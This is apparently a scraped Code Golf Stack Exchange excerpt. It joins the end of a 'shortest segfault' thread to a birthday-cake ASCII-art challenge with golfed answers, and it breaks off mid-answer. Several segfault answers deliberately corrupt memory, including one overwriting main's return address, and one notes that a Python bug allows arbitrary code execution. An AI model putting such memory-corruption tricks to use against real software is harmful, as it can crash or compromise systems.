(multi-digit numbers are specified in Actually with a leading colon) Crashes the interpreter by exploiting [a bug in python](https://bugs.python.org/issue14010) involving deeply nested `itertools.chain` objects, which actually uses to implement the `+` operator. [Answer] # OCaml, 13 bytes ``` Obj.magic 0 0 ``` This uses the function `Obj.magic`, which unsafely coerces any two types. In this case, it coerces 0 (stored as the immediate value 1, due to the tag bit used by the GC) to a function type (stored as a pointer). Thus, it tries to dereference the address 1, and that will of course segfault. [Answer] # Pyth, 3 characters ``` j1Z ``` This would be the part where I explain how I came up with this answer, except I legitimately have *no clue*. If anyone could explain this for me, I'd be grateful. [Here it is in an online interpreter.](http://pyth.tryitonline.net/#code=ajFa&debug=on%) > > ## [Explanation](https://codegolf.stackexchange.com/questions/4399/shortest-code-that-returns-sigsegv/104269#comment253355_104269) > > > `j` squares the base and calls itself recursively until the base is at least as large as the number. Since the base is **0**, that never happens. With a sufficienly high recursion limit, you get a segfault. > > > [- **Dennis ♦**](https://codegolf.stackexchange.com/questions/4399/shortest-code-that-returns-sigsegv/104269#comment253355_104269) > > > [Answer] # Python 3.8+, 47 bytes ``` eval((lambda:0).__code__.replace(co_consts=())) ``` Not the shortest python entry by far, but this one works without any imports. And as a bonus, this bug is exploitable to get arbitrary code execution, if you're smart about it. [Answer] ## 19 characters in C ``` main(a){*(&a-1)=1;} ``` It corrupts return address value of main function, so it gets a SIGSEGV on return of `main`. [Answer] ## Cython, 14 This often comes in handy for debugging purposes. ``` a=(<int*>0)[0] ``` [Answer] ## C# - 62 ``` System.Runtime.InteropServices.Marshal.ReadInt32(IntPtr.Zero); ``` # C# /unsafe, 23 bytes ``` unsafe{int i=*(int*)0;} ``` For some reason I don't understand, `*(int*)0=0` just throws a NullReferenceException, while this version gives the proper access violation. [Answer] ## J (6) ``` memf 1 ``` `memf` means free memory, `1` is interpreted as a pointer. [Answer] # Matlab - Yes it is possible! In a response to a [question](https://stackoverflow.com/q/16342688/983722) of mine, Amro came up with this quirk: ``` S = struct(); S = setfield(S, {}, 'g', {}, 0) ``` [Answer] # C - 14 chars Be sure to compile an empty file with `cc -nostartfiles c.c` > > ### Explanation: > > > What went wrong is that we treated \_start as if it were a C function, and tried to return from it. In reality, it's not a function at all. It's just a symbol in the object file which the linker uses to locate the program's entry point. When our program is invoked, it's invoked directly. If we were to look, we would see that the value on the top of the stack was the number 1, which is certainly very un-address-like. In fact, what is on the stack is our program's argc value. After this comes the elements of the argv array, including the terminating NULL element, followed by the elements of envp. And that's all. There is no return address on the stack. > > > ]
[Question] [ ## Introduction *Last year* was my birthday (really!) and sadly I had to organise my own party. Well, now you know, couldn't you at least make the cake? ## Challenge Given an integer `n` as input, write a *full program* to output a birthday cake with `n` candles on. ## Output A piece of cake with one candle on is: ``` $ | --- ~~~ --- ``` And a piece of cake with three candles on is: ``` $ $ $ | | | ------- ~~~~~~~ ------- ``` I'm sure you can work it out from that ***However***, for input `0`, you must output the following: ``` Congratulations on your new baby! :D ``` For input less than `0`, you should output a candleless cake: ``` --- ~~~ --- ``` Nothing is allowed to be output to STDERR. Trailing newlines and spaces are allowed. ## Winning Shortest code in bytes wins. ## Leaderboard ``` var QUESTION_ID=57277;OVERRIDE_USER=30525;function answersUrl(e){return"http://api.stackexchange.com/2.2/questions/"+QUESTION_ID+"/answers?page="+e+"&pagesize=100&order=desc&sort=creation&site=codegolf&filter="+ANSWER_FILTER}function commentUrl(e,s){return"http://api.stackexchange.com/2.2/answers/"+s.join(";")+"/comments?page="+e+"&pagesize=100&order=desc&sort=creation&site=codegolf&filter="+COMMENT_FILTER}function getAnswers(){jQuery.ajax({url:answersUrl(answer_page++),method:"get",dataType:"jsonp",crossDomain:!0,success:function(e){answers.push.apply(answers,e.items),answers_hash=[],answer_ids=[],e.items.forEach(function(e){e.comments=[];var s=+e.share_link.match(/\d+/);answer_ids.push(s),answers_hash[s]=e}),e.has_more||(more_answers=!1),comment_page=1,getComments()}})}function getComments(){jQuery.ajax({url:commentUrl(comment_page++,answer_ids),method:"get",dataType:"jsonp",crossDomain:!0,success:function(e){e.items.forEach(function(e){e.owner.user_id===OVERRIDE_USER&&answers_hash[e.post_id].comments.push(e)}),e.has_more?getComments():more_answers?getAnswers():process()}})}function getAuthorName(e){return e.owner.display_name}function process(){var e=[];answers.forEach(function(s){var r=s.body;s.comments.forEach(function(e){OVERRIDE_REG.test(e.body)&&(r="<h1>"+e.body.replace(OVERRIDE_REG,"")+"</h1>")});var a=r.match(SCORE_REG);a&&e.push({user:getAuthorName(s),size:+a[2],language:a[1],link:s.share_link})}),e.sort(function(e,s){var r=e.size,a=s.size;return r-a});var s={},r=1,a=null,n=1;e.forEach(function(e){e.size!=a&&(n=r),a=e.size,++r;var t=jQuery("#answer-template").html();t=t.replace("{{PLACE}}",n+".").replace("{{NAME}}",e.user).replace("{{LANGUAGE}}",e.language).replace("{{SIZE}}",e.size).replace("{{LINK}}",e.link),t=jQuery(t),jQuery("#answers").append(t);var o=e.language;/<a/.test(o)&&(o=jQuery(o).text()),s[o]=s[o]||{lang:e.language,user:e.user,size:e.size,link:e.link}});var t=[];for(var o in s)s.hasOwnProperty(o)&&t.push(s[o]);t.sort(function(e,s){return e.lang>s.lang?1:e.lang<s.lang?-1:0});for(var c=0;c<t.length;++c){var i=jQuery("#language-template").html(),o=t[c];i=i.replace("{{LANGUAGE}}",o.lang).replace("{{NAME}}",o.user).replace("{{SIZE}}",o.size).replace("{{LINK}}",o.link),i=jQuery(i),jQuery("#languages").append(i)}}var ANSWER_FILTER="!t)IWYnsLAZle2tQ3KqrVveCRJfxcRLe",COMMENT_FILTER="!)Q2B_A2kjfAiU78X(md6BoYk",answers=[],answers_hash,answer_ids,answer_page=1,more_answers=!0,comment_page;getAnswers();var SCORE_REG=/<h\d>\s*([^\n,]*[^\s,]),.*?(\d+)(?=[^\n\d<>]*(?:<(?:s>[^\n<>]*<\/s>|[^\n<>]+>)[^\n\d<>]*)*<\/h\d>)/,OVERRIDE_REG=/^Override\s*header:\s*/i; ``` ``` body{text-align:left!important}#answer-list,#language-list{padding:10px;width:290px;float:left}table thead{font-weight:700}table td{padding:5px} ``` ``` <script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script> <link rel="stylesheet" type="text/css" href="//cdn.sstatic.net/codegolf/all.css?v=83c949450c8b"> <div id="answer-list"> <h2>Leaderboard</h2> <table class="answer-list"> <thead> <tr><td></td><td>Author</td><td>Language</td><td>Size</td></tr></thead> <tbody id="answers"> </tbody> </table> </div><div id="language-list"> <h2>Winners by Language</h2> <table class="language-list"> <thead> <tr><td>Language</td><td>User</td><td>Score</td></tr></thead> <tbody id="languages"> </tbody> </table> </div><table style="display: none"> <tbody id="answer-template"> <tr><td>{{PLACE}}</td><td>{{NAME}}</td><td>{{LANGUAGE}}</td><td>{{SIZE}}</td><td><a href="{{LINK}}">Link</a></td></tr></tbody> </table> <table style="display: none"> <tbody id="language-template"> <tr><td>{{LANGUAGE}}</td><td>{{NAME}}</td><td>{{SIZE}}</td><td><a href="{{LINK}}">Link</a></td></tr></tbody> </table> ``` [Answer] # Pyth, ~~73~~ ~~72~~ ~~71~~ ~~69~~ 67 bytes ``` ?Qjb+m*+\ dQ"$|"*RhyeS,1Q"-~-""Congratulations on your new baby! :D ``` Try it [online](https://pyth.herokuapp.com/?code=%3FQjb%2Bm%2A%2B%5C+dQ%22%24%7C%22%2ARhyeS%2C1Q%22-%7E-%22%22Congratulations+on+your+new+baby%21+%3AD&input=3&debug=0). Output for n < 0 contains 2 leading newlines, as permitted in [comments](https://codegolf.stackexchange.com/questions/57277/its-my-birthday-d/57282#comment137794_57277). To get rid of them, use ``` ?QjbfT+jR*\ hQ"$|"*RhyeS,1Q"-~-""Congratulations on your new baby! :D ``` [Answer] # CJam, ~~76~~ 75 bytes ``` ri_W>\_1e>)" $ |--~~--"2/f*Wf<N*"Congratulations on your new baby! :D"?_8>? ``` Try it online in the [CJam interpreter](http://cjam.aditsu.net/#code=ri_W%3E%5C_1e%3E)%22%20%24%20%7C--~~--%222%2Ff*Wf%3CN*%22Congratulations%20on%20your%20new%20baby!%20%3AD%22%3F_8%3E%3F&input=18). ### How it works ``` ri e# Read an integer from STDIN. _W> e# Check if it is greater than -1. \_ e# Swap input and Boolean and copy the input. 1e>) e# Take the maximum of input and 1 and increment the result. e# Let's call the result R. " $ |--~~--" e# Push that string. 2/ e# Split it into [" $" " |" "--" "~~" "--"]. f* e# Repeat each chunk R times. Wf< e# Discard the last character of each repeated chunk. N* e# Join the repreated chunks, separating by linefeeds. "Congratulations on your new baby! :D" ? e# If the input is non-zero, select the cake; else, keep the string. _8> e# Push a copy and discard the first 8 characters (single candle). ? e# Select the unmodified cake/string if the input was non-negative, e# a candleless cake otherwise. ``` [Answer] # Ruby, 120 bytes ## Revision 1 (120 bytes) 18 bytes saved thanks to manatwork ``` n=gets.to_i puts ['Congratulations on your new baby! :D',%w{\ $ \ | - ~ -}.map{|e|e.ljust 2*n+1,e},'--- ~~~ ---'][n<=>0] ``` ## Revision 0 (138 bytes) ``` n=gets.to_i n>0&&[' $',' |',?-,?~,?-].each{|e|puts''.rjust(2*n+1,e)} puts ['Congratulations on your new baby! :D','','--- ~~~ ---'][n<=>0] ``` For positive numbers: this iterates through a string corresponding to each line of the cake. These are used as pad strings to right justify the empty string to length 2\*n+1. This avoids any complications with having to print an odd number of characters, when the natural repetition is equal to the pitch of the candles (i.e. 2 characters.) `n>0&&` is necessary to avoid outputting a single column in case of input zero. For all numbers: "`n<=>0`" finds the sign of the input. The baby message is output for n=0, and an empty string for positive n (as correct output has already been given above.) For negative n, Ruby interprets the -1 as meaning the last element of the array, and outputs the candleless cake. [Answer] ## R, 157 ``` write(if(n<-scan()){ z=matrix(c("$","|","-","~","-"),N<-2*max(1,n)+1,5,T) z[seq(1,N,1+(n>0)),1:2]=" " z}else"Congratulations on your new baby! :D","",N,F,"") ``` [Answer] # JavaScript ES6, 136 Using alert for output - bad proportional font and the result is ugly. In the snippet below the alert is redirect to the snipped body, giving a better result. The newline inside backticks is significant and counted. Test running the snippet in Firefox. ``` /* Redefine alert for testing purpose */ alert=x=>O.innerHTML=x; alert((n=+prompt())?[...'$|-~-'].map((c,i)=>(i>1?c:' '+c).repeat(i>1?n>0?n-~n:3:n>0&&n)).join` `:'Congratulations on your new baby! :D') ``` ``` <pre id=O></pre> ``` **Less golfed** ``` n=+prompt(); // get input and convert to number if (n) { // if n != 0 prepare the cake output = [...'$|-~-'].map( // for each char of the five lines (c,i) => (i>1 ? c : ' '+c) // in line 0 and 1 symbols are space separated // if n < 0 repeat count is 0 for line 0 and 1, 3 for the other // if n > 0 repeat count is n for line 0 and 1, n+n+1 for the other .repeat(i>1 ? n>0 ? n-~n : 3 : n>0 && n) // ).join`\n`; } else { output = 'Congratulations on your new baby! :D'); } alert(output); ``` [Answer] # R, ~~228~~ ~~226~~ ~~220~~ 221 Bytes --- Last edit to correct the candleless cake, was as wide as the positive one on negative cases, thanks @CathG and @jbaums for the feedback ``` n=scan() s=strsplit p=paste0 a=b='-~-' if(!n)cat('Congratulations on your new baby! :D')else{ if(n>0){a=p(' ',a);b=p('$|',b)}else n=1 a=s(a,'') b=s(b,'') d=data.frame(rep(c(a,b),n),a) cat(do.call(p,d),sep="\n")} ``` [Answer] # R, 279 bytes Interactive version (286 bytes): ``` b<-function(){ n=scan() if(n==0)cat("Congratulations on your new baby! :D\n") if(n>0){k=2*n+1;m=rep("-",k);cat(paste(c(rep(c(" ","$"),l=k),"\n",rep(c(" ","|"),l=k),"\n",m,"\n",rep("~",k),"\n",m,"\n"),collapse=""))} if(n<0){m=rep("-",3);cat(paste(c(m,"\n",rep("~",3),"\n",m,"\n"),collapse=""))} } ``` Not interactive version (279 bytes): ``` b<-function(n){ if(n==0)cat("Congratulations on your new baby! :D\n") if(n>0){k=2*n+1;m<-rep("-",k);cat(paste(c(rep(c(" ","$"),l=k),"\n",rep(c(" ","|"),l=k),"\n",m,"\n",rep("~",k),"\n",m,"\n"),collapse=""))} if(n<0){m=rep("-",3);cat(paste(c(m,"\n",rep("~",3),"\n",m,"\n"),collapse=""))} } ``` [Answer] # MATLAB / Octave, ~~194~~ ~~198~~ ~~195~~ ~~189~~ ~~171~~ 167 bytes ## Happy birthday to you Beta Decay! :) ### Thanks to HamtaroWarrior for shaving off 4 bytes! --- ``` n=input('');m='$|'.';d=' '.';if(n==0)disp('Congratulations on your new baby! :D'),break;elseif(n<0)m=d;n=1;end,disp([[d repmat([m d],1,n)];repmat('-~-'.',1,2*n+1)]); ``` --- # Sample Runs I placed this into a script file called `happy_birthday.m`, then ran it a few times in the command prompt. Take note that when you enter in a negative number, there are two leading carriage returns, but that's allowed in this challenge: ``` >> happy_birthday -1 --- ~~~ --- >> happy_birthday 0 Congratulations on your new baby! :D >> happy_birthday 1 $ | --- ~~~ --- >> happy_birthday 2 $ $ | | ----- ~~~~~ ----- >> happy_birthday 3 $ $ $ | | | ------- ~~~~~~~ ------- >> happy_birthday 4 $ $ $ $ | | | | --------- ~~~~~~~~~ --------- >> happy_birthday 5 $ $ $ $ $ | | | | | ----------- ~~~~~~~~~~~ ----------- ``` # Code with spacing and explanations ``` % Get the input number from the user n=input(''); % If the number is positive, the core candle sequence is going to be a column vector of a $ followed by a | character m='$|'.'; %// Array of one column and it has two spaces - going to use more than once d = ' '.'; % If the number is 0, display the congratulations message and get out if(n==0) disp('Congratulations on your new baby! :D') break; % m stores the core candle sequence for displaying on the screen % If the number is negative, the core candle sequence is going to be a column of two blank spaces elseif(n<0) m=d; n=1; % n is set to 1 as this is the number of "blank candles" we want to display end % This displays candles and the base together % The top half is the displaying of the candles % It is a column vector of spaces, followed by pairs of $,| in a column % and another column of spaces - repeated n times % The bottom half is the displaying of the cake % The bottom half is a column vector of -,~,- for the base of the cake % and is repeated 2*n + 1 times to match the candle display disp([[d repmat([m d],1,n)];repmat('-~-'.',1,2*n+1)]); ``` The displaying part at the end is probably the most obfuscated part of the code. This is going to display a 5 row character matrix where the first two rows consists of the candles and the last three rows consists of the base of the cake. The basis for the top half of the display is either two spaces in a column followed by another two spaces in another column in the case that the age is negative, or a `$,-` in a column followed by two spaces in another column. This is a 2 x 2 character matrix. The basis for the bottom half of the display is a single column vector of `-,~,-` which is a 3 x 1 character matrix. The display command first tackles the first two rows of the cake by placing two spaces in the first column, followed pairs of a column of `$,-` or a column of spaces if `n` is negative, which gets changed to `n=1`, and another column of two spaces repeated for a total of `n` times. The next three rows simply replicate the `-,$,-` column vector for `2*n + 1` times to align the candles together with the base, thus completing the picture. # Try it online! You can try this online using IDEOne's Octave compiler: <http://ideone.com/4qXDdJ> - however, there is a slight bug when reading in values from standard input. As such, the script is slightly modified where you have to change the value of `n` at the beginning of the code. Fork a new version of the script and change this to whatever integer value suits you in order to see what the output looks like. [Answer] # JavaScript, ~~143~~ 153 Bytes `for(v in k=' $ 0 | 0---0~~~0---'.split(+!(n=+prompt(c=''))))c+=k[v].repeat(n<0?1:n)+'\n';alert(n>0?c:n?c.slice(8):'Congratulations on your new baby! :D')` To see output in mono space font replace 'alert' by 'console.log' [Answer] ## Moonscript, 141 bytes ``` n=0+io.read! m=3 f=(s='-')->print s\rep m if n>0 m=n m=1+2*m,f' $',f' |' if n==0 print"Congratulations on your new baby! :D"else f f!,f'~' ``` [Answer] # [rs](https://github.com/kirbyfan64/rs), 117 bytes ``` ^0$/Congratulations on your new baby! :D -.+/-1 $$r=)^^(\1)\n $$m=-(--)^^(\1)\n (\d+)/ ($ $r (| $r$m~(~~$r$m ^-[^-]+/ ``` [Live demo and test cases.](http://kirbyfan64.github.io/rs/index.html?script=%5E0%24%2FCongratulations%20on%20your%20new%20baby!%20%3AD%0A-.%2B%2F-1%0A%24%24r%3D%29%5E%5E%28%5C1%29%5Cn%0A%24%24m%3D-%28--%29%5E%5E%28%5C1%29%5Cn%0A%28%5Cd%2B%29%2F%20%28%24%20%24r%20%28%7C%20%24r%24m~%28~~%24r%24m%0A%5E-%5B%5E-%5D%2B%2F&input=1%0A%0A3%0A%0A0%0A%0A-4) [Answer] # JavaScript ES6, 154 chars ``` alert((n=+prompt())?((n>0?` $ | `:(n=1)&&"")+`-- ~~ --`).replace(/../gm,x=>x.repeat(n)).replace(/(.).*/gm,"$&$1"):"Congratulations on your new baby! :D") ``` And one more (154 too) ``` alert((n=+prompt())?` $ | -- ~~ --`.slice(n<0?(n=1)-9:0).replace(/../gm,x=>x.repeat(n)).replace(/(.).*/gm,"$&$1"):"Congratulations on your new baby! :D") ``` To see output in monospace font (and move ouptut to the console) use ``` alert=x=>console.log(x) ``` [Answer] # [Mouse](https://en.wikipedia.org/wiki/Mouse_(programming_language)), ~~164~~ 161 bytes ``` ?N:N.0=["Congratulations on your new baby"33!'" :D"$]N.0>[#P,32!'36,N.;#P,32!'124,N.;]N.0<[1N:]2N.*1+D:#P,45,D.;#P,126,D.;#P,45,D.;$P0I:(I.2%=0=^1%!'I.1+I:)"!"@ ``` Mouse is clearly not an ideal choice for this task, but it was fun. Ungolfed: ``` ? N. ~ Read N from STDIN N. 0 = [ ~ Have a baby for N == 0 "Congratulations on your new baby" 33 !' " :D" $ ] N. 0 > [ ~ If N > 0... #P, 32 !' 36, N.; ~ Print the candle flames #P, 32 !' 124, N.; ~ Print the candle sticks ] N. 0 < [ ~ If N < 0... 1 N: ~ Set N = 1 ] 2 N. * 1 + D: ~ Assign D = 2N + 1 #P, 45, D.; ~ Print the top cake layer #P, 126, D.; ~ Print the middle layer #P, 45, D.; ~ Print the bottom $P ~ Define the printing macro... 0 I: ~ Initialize I to 0 ( I. 2% = 0 = ^ ~ While I != the second input 1% !' ~ Print the first input I. 1 + I: ~ Increment I ) "!" ~ Print a newline @ ``` The stack can contain only integers. `!'` takes an integer off the stack and prints the ASCII character with that code. [Answer] # CoffeeScript, 160 bytes ``` f=(i,l=[" $ "," | ",_="---","~~~",_])->if!i then"Congratulations on your new baby! :D"else (if i<0then[_,l[3],_]else i++;(Array(i).join r for r in l)).join "\n" ``` Ungolfed: ``` f=(i)-> l = [" $ "," | ","---","~~~","---"] # The layers if i == 0 return "Congratulations on your new baby! :D" else if i < 0 return [l[2], l[3], l[2]].join("\n") else i++ return (Array(i).join(r) for r in l).join("\n") ``` Use it like: ``` f(10) # In the CoffeeScript console alert(f(~~prompt("Y"))) # Browser, alert popup console.log(f(~~prompt("Y"))) # Browser, log to console, and thus has monospace font ``` Try it online: [link](http://coffeescript.org/#try:f%3D(i%2Cl%3D%5B%22%20%24%20%22%2C%22%20%7C%20%22%2C_%3D%22---%22%2C%22~~~%22%2C_%5D)-%3Eif!i%20then%22Congratulations%20on%20your%20new%20baby!%20%3AD%22else%20(if%20i%3C0then%5B_%2Cl%5B3%5D%2C_%5Delse%20i%2B%2B%3B(Array(i).join%20r%20for%20r%20in%20l)).join%20%22%5Cn%22%0A%0A%23%20Sample%20usage%2C%20would%20display%20a%20nice%20console...%0Ado-%3E%0A%20p%3Ddocument.createElement%20%22pre%22%0A%20p.style.position%3D%22fixed%22%0A%20p.style.top%3Dp.style.left%3Dp.style.right%3Dp.style.bottom%3D%220px%22%0A%20p.style.zIndex%3D%221000%22%0A%20p.style.backgroundColor%3D%22%23000%22%0A%20p.style.color%3D%22%23fff%22%0A%20p.style.margin%3D%220%22%0A%20p.style.padding%3D%2220px%22%0A%20input%20%3D%20~~prompt%20%22%3E%22%0A%20p.innerHTML%20%3D%20(%22%3E%20f(%23%7Binput%7D)%5Cn%23%7Bf(input)%7D%5Cn%5Cn%3Cb%20style%3D'color%3Ayellow'%3EClick%20to%20dismiss.%3C%2Fb%3E%5Cn%22)%0A%0A%20b%3Ddocument.createElement%20%22b%22%0A%20b.innerHTML%3D%22%E2%96%88%22%0A%20p.appendChild%20b%0A%20interval%3DsetInterval%20(-%3Eb.style.opacity%3D1-b.style.opacity)%2C400%0A%20%0A%20document.body.appendChild%20p%0A%20p.onmouseup%3D-%3Ep.remove()%3BclearInterval%20interval) (Contains some custom display code, so everything looks soo nice...) **Ooops, almost forgot it!** Happy birthday, @BetaDecay! [Answer] # C, 392 bytes (known segmentation fault if no arguments are given) ``` #include <stdio.h> #define P(s) printf(s); #define F for(i=0;i<n;i++) #define A(s, e) F{P(s)}P(e "\n") int main(int c, char**v){int i,n=atoi(v[1]);if(n<0){n=3;A("-",)A("~",)A("-",)}else if(!n)P("Congratulations on your new baby! :D\n")else{A(" $",)A(" |",)A("--","-")A("~~","~")A("--","-")}} ``` Unminified and copiously spaced ``` #include <stdio.h> #define P(s) printf ( s ) ; #define F for ( i = 0 ; i < n ; i++ ) #define A(s, e) F { P ( s ) } P ( e "\n" ) int main ( int c, char ** v ) { int i, n = atoi ( v [ 1 ] ) ; if ( n < 0 ) { n = 3 ; A ( "-", ) A ( "~", ) A ( "-", ) } else if ( ! n ) P ( "Congratulations on your new baby! :D\n" ) else { A ( " $", ) A ( " |", ) A ( "--", "-" ) A ( "~~", "~" ) A ( "--", "-" ) } } ``` [Answer] # Powershell, ~~139~~ ~~134~~ ~~132~~ 126 bytes ``` $n=$args[0];if($n){$d=3;if($n-gt0){' $'*$n;' |'*$n;$d=$n*2+1}'-'*$d;'~'*$d;'-'*$d}else{'Congratulations on your new baby! :D'} ``` [Answer] # Ceylon, ~~322~~ ~~307 ~~~~300~~ 282~~ 278~~ 260 bytes ``` shared void run(){if(exists t=process.readLine(),exists n=parseInteger(t)){String r(String s)=>s.repeat(n);print(n>0thenr(" $")+"\n"+r(" |")+"\n"+r("--")+"-\n"+r("~~")+"~\n"+r("--")+"-"else(n<0then"---\n~~~\n---"else"Congratulations on your new baby! :D"));}} ``` The not yet golfed original (assuming negative cakes have width 3 instead of –2·n+1): ``` shared void birthdayCake() { if (exists text = process.readLine(), exists number = parseInteger(text)) { switch (number <=> 0) case (equal) { print("Congratulations on your new baby! :D"); } case (smaller) { print("---\n~~~\n---"); } case (larger) { print(" $".repeat(number)); print(" |".repeat(number)); print("--".repeat(number) + "-"); print("~~".repeat(number) + "~"); print("--".repeat(number) + "-"); } } } ``` This features the condition list in the if statement, each condition defining a value usable in the following conditions and in the body. Because they have the `exist`, the condition is only fulfilled when the values is not null, and thus the compiler knows the values is not null for the following code. (If nothing is entered (EOF), readline returns null. If parseInteger hits a non-integer, it also returns null. Our program then does nothing. As the behavior for those cases was not defined, I guess this is okay.) Also we have the `<=>` operator, which maps to the [`Comparable.compare`](http://modules.ceylon-lang.org/repo/1/ceylon/language/1.1.0/module-doc/api/Comparable.type.html#compare) method, and returns a `Comparison` object, i.e. one of `equal`, `smaller` and `larger`. The compiler knows that those exhaust the `Comparison` type, so no `else` clause is needed in our `switch` statement. The [`repeat` method of class String](http://modules.ceylon-lang.org/repo/1/ceylon/language/1.1.0/module-doc/api/String.type.html#repeat) does what one would expect. It is actually inherited from the same-named method in interface Iterable (as a string is, beside other stuff, just a list of characters). Replacing my identifiers by one-letter ones and removing unneeded white space gives 322 characters: ``` shared void b(){if(exists t=process.readLine(),exists n=parseInteger(t)){switch(n<=>0)case (equal){print("Congratulations on your new baby! :D");}case(smaller){print("---\n~~~\n---");}case(larger){print(" $".repeat(n));print(" |".repeat(n));print("--".repeat(n)+"-");print("~~".repeat(n)+"~");print("--".repeat(n)+"-");}}} ``` Replacing the series of `print` by explicit `\n`s (and one single `print`) brings it down to 307: ``` shared void b(){if(exists t=process.readLine(),exists n=parseInteger(t)){switch(n<=>0)case(equal){print("Congratulations on your new baby! :D");}case(smaller){print("---\n~~~\n---");}case(larger){print(" $".repeat(n)+"\n"+" |".repeat(n)+"\n"+"--".repeat(n)+"-\n"+"~~".repeat(n)+"~\n"+"--".repeat(n)+"-");}}} ``` I tried alias-importing of `repeat` as `r`, but it doesn't help (the import declaration adds 40 characters, and we can only save 25 by replacing `repeat` with `r`). What slightly helps, is using `n.sign` instead of `n<=>0`. While these two expressions have the same textual length, they have different types: the latter one is of type `Comparison` mentioned before (which has the three values `smaller`, `larger` and `equal`), the former one has type `Integer`, with the values `-1`, `1`, `0` ... and because `Integer` has many more values, we also need an `else` clause. This is 300 characters long: ``` shared void b(){if(exists t=process.readLine(),exists n=parseInteger(t)){switch(n.sign)case(0){print("Congratulations on your new baby! :D");}case(-1){print("---\n~~~\n---");}case(1){print(" $".repeat(n)+"\n"+" |".repeat(n)+"\n"+"--".repeat(n)+"-\n"+"~~".repeat(n)+"~\n"+"--".repeat(n)+"-");}else{}}} ``` Here with whitespace: ``` shared void b() { if (exists t = process.readLine(), exists n = parseInteger(t)) { switch (n.sign) case (0) { print("Congratulations on your new baby! :D"); } case (-1) { print("---\n~~~\n---"); } case (1) { print(" $".repeat(n) + "\n" + " |".repeat(n) + "\n" + "--".repeat(n) + "-\n" + "~~".repeat(n) + "~\n" + "--".repeat(n) + "-"); } else {} } } ``` We can safe some more by resigning about our switch statement and using `if`, coming to 282 characters(=bytes): ``` shared void b(){if(exists t=process.readLine(),exists n=parseInteger(t)){if(n==0){print("Congratulations on your new baby! :D");}else if(n<0){print("---\n~~~\n---");}else{print(" $".repeat(n)+"\n"+" |".repeat(n)+"\n"+"--".repeat(n)+"-\n"+"~~".repeat(n)+"~\n"+"--".repeat(n)+"-");}}} ``` Formatted: ``` shared void b() { if (exists t = process.readLine(), exists n = parseInteger(t)) { if (n == 0) { print("Congratulations on your new baby! :D"); } else if (n < 0) { print("---\n~~~\n---"); } else { print(" $".repeat(n) + "\n" + " |".repeat(n) + "\n" + "--".repeat(n) + "-\n" + "~~".repeat(n) + "~\n" + "--".repeat(n) + "-"); } } } ``` We can safe another byte by swapping the cases around, since `>` is shorter than `==`. Another "annoyance" is the repeated `repeat(n)` – we can define a local function (a closure, it remembers `n` from the defining block) with a shorter name: ``` String r(String s) => s.repeat(n); ``` This is a shorter way of writing this: ``` String r(String s) { return s.repeat(n); } ``` We could use `function` instead of the return type for type inference, but this is not shorter. This gives us 278 bytes: ``` shared void b(){if(exists t=process.readLine(),exists n=parseInteger(t)){if(n>0){String r(String s)=>s.repeat(n);print(r(" $")+"\n"+r(" |")+"\n"+r("--")+"-\n"+r("~~")+"~\n"+r("--")+"-");}else if(n<0){print("---\n~~~\n---");}else{print("Congratulations on your new baby! :D");}}} ``` Formatted: ``` shared void b() { if (exists t = process.readLine(), exists n = parseInteger(t)) { if (n > 0) { String r(String s) => s.repeat(n); print(r(" $") + "\n" + r(" |") + "\n" + r("--") + "-\n" + r("~~") + "~\n" + r("--") + "-"); } else if (n < 0) { print("---\n~~~\n---"); } else { print("Congratulations on your new baby! :D"); } } } ``` Actually, using the `then` and `else` operators instead of the `if` statements allows us to save some calls of `print` (and some braces): ``` shared void run() { if (exists t = process.readLine(), exists n = parseInteger(t)) { String r(String s) => s.repeat(n); print(n > 0 then r(" $") + "\n" + r(" |") + "\n" + r("--") + "-\n" + r("~~") + "~\n" + r("--") + "-" else (n < 0 then "---\n~~~\n---" else "Congratulations on your new baby! :D")); } } ``` This is just 261 bytes: `shared void run(){if(exists t=process.readLine(),exists n=parseInteger(t)){String r(String s)=>s.repeat(n);print(n>0thenr(" $")+"\n"+r(" |")+"\n"+r("--")+"-\n"+r("~~")+"~\n"+r("--")+"-"else(n<0then"---\n~~~\n---"else"Congratulations on your new baby! :D"));}}` (I used `run` instead of `b` for the function name because this way it can be run with `ceylon run` without passing a function name.) My Github repository has a [commented version of this](https://github.com/ePaul/ceylon-codegolf/blob/master/source/codegolf/birthday57277/birthdayCake.ceylon). [Answer] # Python 2, 158 bytes --- ``` i=input() l='\n' s='' if i==0:s='Congratulations on your new baby! :D' elif i<0:s='---\n~~~\n---' else:n=i*2+1;a=l+'-'*n;s=' $'*i+l+' |'*i+a+l+'~'*n+a print s ``` [Answer] # golflua, 113 characters ``` \p(c)w(S.t(c,n))~$n=I.r()+0?n==0w"Congratulations on your new baby! :D"!??n>0p" $"p" |"n=n*2+1!?n=3$p"-"p"~"p"-"$ ``` Sample run: ``` bash-4.3$ golflua -e '\p(c)w(S.t(c,n))~$n=I.r()+0?n==0w"Congratulations on your new baby! :D"!??n>0p" $"p" |"n=n*2+1!?n=3$p"-"p"~"p"-"$' <<< 5 $ $ $ $ $ | | | | | ----------- ~~~~~~~~~~~ ----------- bash-4.3$ golflua -e '\p(c)w(S.t(c,n))~$n=I.r()+0?n==0w"Congratulations on your new baby! :D"!??n>0p" $"p" |"n=n*2+1!?n=3$p"-"p"~"p"-"$' <<< 0 Congratulations on your new baby! :D bash-4.3$ golflua -e '\p(c)w(S.t(c,n))~$n=I.r()+0?n==0w"Congratulations on your new baby! :D"!??n>0p" $"p" |"n=n*2+1!?n=3$p"-"p"~"p"-"$' <<< -5 --- ~~~ --- ``` [Answer] ## Python 2, 150 bytes ``` m=input() n=m-1 p="---"+"--"*n g="\n~~~"+"~~"*n+"\n" if m>0:print" $"*m,"\n"," |"*m s=p+g+p print s if m!=0 else"Congratulations on your new baby! :D" ``` Close to author's Python :( [Answer] # Perl, 139 127 117 bytes Does not require '-n' or '-p' options. Revision 3 (with thanks to Dom Hastings below): ``` $==<>;map{print$_ x(!$=||(/ /?$=:($=<1||$=)*2+1)).$/}!$=?'Congratulations on your new baby! :D':split 0,' $0 |0-0~0-' ``` Revision 2: ``` $n=<>;map{print$_ x($n==0?1:(/ /?$n:($n<1?1:$n)*2+1)).$/}$n==0?('Congratulations on your new baby! :D'):(' $',' |','-','~','-') ``` Revision 1: ``` $n=<>;map{print$_ x(($l=length())>2?1:($l==2?$n:($n<1?1:$n)*2+1)).$/}$n==0?('Congratulations on your new baby! :D'):(' $',' |','-','~','-') ``` Here's a version of revision 3 that doesn't have the leading blank new lines on negative input - 132 bytes. ``` $==<>;map{print$_ x(!$=||(/ 